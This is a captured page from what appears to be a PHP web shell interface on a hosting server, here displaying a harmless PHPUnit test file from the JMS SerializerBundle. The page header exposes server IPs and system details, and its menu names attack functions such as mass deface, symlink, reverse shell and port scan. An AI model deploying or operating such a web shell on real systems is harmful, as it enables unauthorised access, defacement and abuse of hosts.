ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
jms
/
serializer-bundle
/
Tests
/
ExpressionLanguage
/
Viewing: ExpressionLanguageTest.php
<?php namespace JMS\SerializerBundle\Tests\ExpressionLanguage; use JMS\SerializerBundle\ExpressionLanguage\BasicSerializerFunctionsProvider; use PHPUnit\Framework\TestCase; use Symfony\Component\ExpressionLanguage\ExpressionLanguage; class ExpressionLanguageTest extends TestCase { public function testFunctionProviderCompilation() { $provider = new BasicSerializerFunctionsProvider(); $exp = new ExpressionLanguage(); $exp->registerProvider($provider); $this->assertEquals('$this->get("foo")', $exp->compile("service('foo')")); $this->assertEquals('$this->getParameter("foo")', $exp->compile("parameter('foo')")); $this->assertEquals('call_user_func_array(array($this->get(\'security.authorization_checker\'), \'isGranted\'), array("foo", ))', $exp->compile("is_granted('foo')")); } public function testFunctionProviderEvaluation() { $provider = new BasicSerializerFunctionsProvider(); $exp = new ExpressionLanguage(); $exp->registerProvider($provider); $container = $this->getMockBuilder('Symfony\Component\DependencyInjection\ContainerInterface')->getMock(); $container ->expects($this->once()) ->method('get')->with('foo', 1) ->will($this->returnValue('bar')); $this->assertEquals('bar', $exp->evaluate("service('foo')", ['container' => $container])); $container = $this->getMockBuilder('Symfony\Component\DependencyInjection\ContainerInterface')->getMock(); $container ->expects($this->once()) ->method('getParameter')->with('foo') ->will($this->returnValue('bar')); $this->assertEquals('bar', $exp->evaluate("parameter('foo')", ['container' => $container])); $authChecker = $this->getMockBuilder('JMS\SerializerBundle\Tests\ExpressionLanguage\AuthCheckerMock')->getMock(); $authChecker ->expects($this->once()) ->method('isGranted')->with('foo') ->will($this->returnValue('bar')); $container = $this->getMockBuilder('Symfony\Component\DependencyInjection\ContainerInterface')->getMock(); $container ->expects($this->once()) ->method('get')->with('security.authorization_checker') ->will($this->returnValue($authChecker)); $this->assertEquals('bar', $exp->evaluate("is_granted('foo')", ['container' => $container])); } } class AuthCheckerMock { public function isGranted() { } }
Coded With 💗 by
0x6ick